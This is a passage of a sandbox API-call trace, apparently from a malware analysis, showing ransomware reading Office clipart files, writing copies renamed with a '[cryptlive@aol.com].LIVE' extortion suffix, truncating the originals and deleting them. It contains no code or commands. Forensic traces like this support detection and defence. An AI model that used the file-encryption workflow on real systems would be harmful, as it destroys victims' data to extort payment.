Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0140.844] lstrlenW (lpString=".dbf") returned 4 [0140.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0140.845] lstrlenW (lpString=".1cd") returned 4 [0140.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0140.845] lstrlenW (lpString=".jpg") returned 4 [0140.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0140.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0140.845] lstrlenW (lpString=".doc") returned 4 [0140.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.845] lstrlenW (lpString=".docx") returned 5 [0140.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.845] lstrlenW (lpString=".pdf") returned 4 [0140.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.845] lstrlenW (lpString=".xls") returned 4 [0140.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.845] lstrlenW (lpString=".xlsx") returned 5 [0140.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.845] lstrlenW (lpString=".ppt") returned 4 [0140.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0140.845] lstrlenW (lpString=".zip") returned 4 [0140.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.845] lstrlenW (lpString=".rar") returned 4 [0140.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.845] lstrlenW (lpString=".bz2") returned 4 [0140.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.845] lstrlenW (lpString=".7z") returned 3 [0140.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0140.845] lstrlenW (lpString=".dbf") returned 4 [0140.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0140.845] lstrlenW (lpString=".1cd") returned 4 [0140.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0140.845] lstrlenW (lpString=".jpg") returned 4 [0140.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.846] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.846] lstrlenW (lpString="DD00256_.WMF") returned 12 [0140.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0140.846] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2832) returned 1 [0140.846] CloseHandle (hObject=0x3a4) returned 1 [0140.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x20 [0140.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0140.847] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.847] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.848] GetLastError () returned 0x0 [0140.848] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xb10, lpOverlapped=0x0) returned 1 [0140.849] WriteFile (in: hFile=0x3ac, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xb20, lpOverlapped=0x0) returned 1 [0140.850] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.850] WriteFile (in: hFile=0x3ac, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.850] SetEndOfFile (hFile=0x3ac) returned 1 [0140.850] CloseHandle (hObject=0x3ac) returned 1 [0140.851] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.851] SetEndOfFile (hFile=0x3a4) returned 1 [0140.853] CloseHandle (hObject=0x3a4) returned 1 [0140.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0140.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0140.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0140.854] lstrlenW (lpString=".doc") returned 4 [0140.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.854] lstrlenW (lpString=".docx") returned 5 [0140.854] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.854] lstrlenW (lpString=".pdf") returned 4 [0140.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.854] lstrlenW (lpString=".xls") returned 4 [0140.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.854] lstrlenW (lpString=".xlsx") returned 5 [0140.854] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.854] lstrlenW (lpString=".ppt") returned 4 [0140.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0140.855] lstrlenW (lpString=".zip") returned 4 [0140.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.855] lstrlenW (lpString=".rar") returned 4 [0140.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.855] lstrlenW (lpString=".bz2") returned 4 [0140.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.855] lstrlenW (lpString=".7z") returned 3 [0140.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0140.855] lstrlenW (lpString=".dbf") returned 4 [0140.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0140.855] lstrlenW (lpString=".1cd") returned 4 [0140.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0140.855] lstrlenW (lpString=".jpg") returned 4 [0140.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0140.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0140.855] lstrlenW (lpString=".doc") returned 4 [0140.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.855] lstrlenW (lpString=".docx") returned 5 [0140.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.855] lstrlenW (lpString=".pdf") returned 4 [0140.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.855] lstrlenW (lpString=".xls") returned 4 [0140.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.855] lstrlenW (lpString=".xlsx") returned 5 [0140.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.855] lstrlenW (lpString=".ppt") returned 4 [0140.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0140.855] lstrlenW (lpString=".zip") returned 4 [0140.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.855] lstrlenW (lpString=".rar") returned 4 [0140.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.855] lstrlenW (lpString=".bz2") returned 4 [0140.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.856] lstrlenW (lpString=".7z") returned 3 [0140.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0140.856] lstrlenW (lpString=".dbf") returned 4 [0140.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0140.856] lstrlenW (lpString=".1cd") returned 4 [0140.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0140.856] lstrlenW (lpString=".jpg") returned 4 [0140.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.856] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.856] lstrlenW (lpString="DD00261_.WMF") returned 12 [0140.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0140.857] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=37974) returned 1 [0140.857] CloseHandle (hObject=0x3a4) returned 1 [0140.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x20 [0140.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0140.858] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.858] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.858] GetLastError () returned 0x0 [0140.858] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x9456, lpOverlapped=0x0) returned 1 [0141.038] WriteFile (in: hFile=0x3ac, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x9460, lpOverlapped=0x0) returned 1 [0141.039] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.039] WriteFile (in: hFile=0x3ac, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.039] SetEndOfFile (hFile=0x3ac) returned 1 [0141.040] CloseHandle (hObject=0x3ac) returned 1 [0141.040] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.040] SetEndOfFile (hFile=0x3a4) returned 1 [0141.043] CloseHandle (hObject=0x3a4) returned 1 [0141.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0141.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0141.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0141.044] lstrlenW (lpString=".doc") returned 4 [0141.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.044] lstrlenW (lpString=".docx") returned 5 [0141.044] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.044] lstrlenW (lpString=".pdf") returned 4 [0141.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.044] lstrlenW (lpString=".xls") returned 4 [0141.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.044] lstrlenW (lpString=".xlsx") returned 5 [0141.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.044] lstrlenW (lpString=".ppt") returned 4 [0141.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0141.044] lstrlenW (lpString=".zip") returned 4 [0141.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.044] lstrlenW (lpString=".rar") returned 4 [0141.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.044] lstrlenW (lpString=".bz2") returned 4 [0141.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.044] lstrlenW (lpString=".7z") returned 3 [0141.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0141.044] lstrlenW (lpString=".dbf") returned 4 [0141.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0141.044] lstrlenW (lpString=".1cd") returned 4 [0141.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0141.045] lstrlenW (lpString=".jpg") returned 4 [0141.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0141.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0141.045] lstrlenW (lpString=".doc") returned 4 [0141.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.045] lstrlenW (lpString=".docx") returned 5 [0141.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.045] lstrlenW (lpString=".pdf") returned 4 [0141.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.045] lstrlenW (lpString=".xls") returned 4 [0141.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.045] lstrlenW (lpString=".xlsx") returned 5 [0141.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.045] lstrlenW (lpString=".ppt") returned 4 [0141.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0141.045] lstrlenW (lpString=".zip") returned 4 [0141.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.045] lstrlenW (lpString=".rar") returned 4 [0141.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.045] lstrlenW (lpString=".bz2") returned 4 [0141.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.045] lstrlenW (lpString=".7z") returned 3 [0141.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0141.045] lstrlenW (lpString=".dbf") returned 4 [0141.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0141.045] lstrlenW (lpString=".1cd") returned 4 [0141.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0141.045] lstrlenW (lpString=".jpg") returned 4 [0141.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.046] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.046] lstrlenW (lpString="DD01015_.WMF") returned 12 [0141.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.046] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2226) returned 1 [0141.046] CloseHandle (hObject=0x3a4) returned 1 [0141.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x20 [0141.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.047] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.047] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0141.048] GetLastError () returned 0x0 [0141.048] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x8b2, lpOverlapped=0x0) returned 1 [0141.053] WriteFile (in: hFile=0x3ac, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0141.053] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.054] WriteFile (in: hFile=0x3ac, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.054] SetEndOfFile (hFile=0x3ac) returned 1 [0141.054] CloseHandle (hObject=0x3ac) returned 1 [0141.054] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.054] SetEndOfFile (hFile=0x3a4) returned 1 [0141.056] CloseHandle (hObject=0x3a4) returned 1 [0141.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0141.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0141.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0141.058] lstrlenW (lpString=".doc") returned 4 [0141.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.058] lstrlenW (lpString=".docx") returned 5 [0141.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.058] lstrlenW (lpString=".pdf") returned 4 [0141.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.058] lstrlenW (lpString=".xls") returned 4 [0141.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.058] lstrlenW (lpString=".xlsx") returned 5 [0141.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.058] lstrlenW (lpString=".ppt") returned 4 [0141.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0141.058] lstrlenW (lpString=".zip") returned 4 [0141.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.058] lstrlenW (lpString=".rar") returned 4 [0141.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.058] lstrlenW (lpString=".bz2") returned 4 [0141.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.058] lstrlenW (lpString=".7z") returned 3 [0141.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0141.058] lstrlenW (lpString=".dbf") returned 4 [0141.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0141.058] lstrlenW (lpString=".1cd") returned 4 [0141.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0141.058] lstrlenW (lpString=".jpg") returned 4 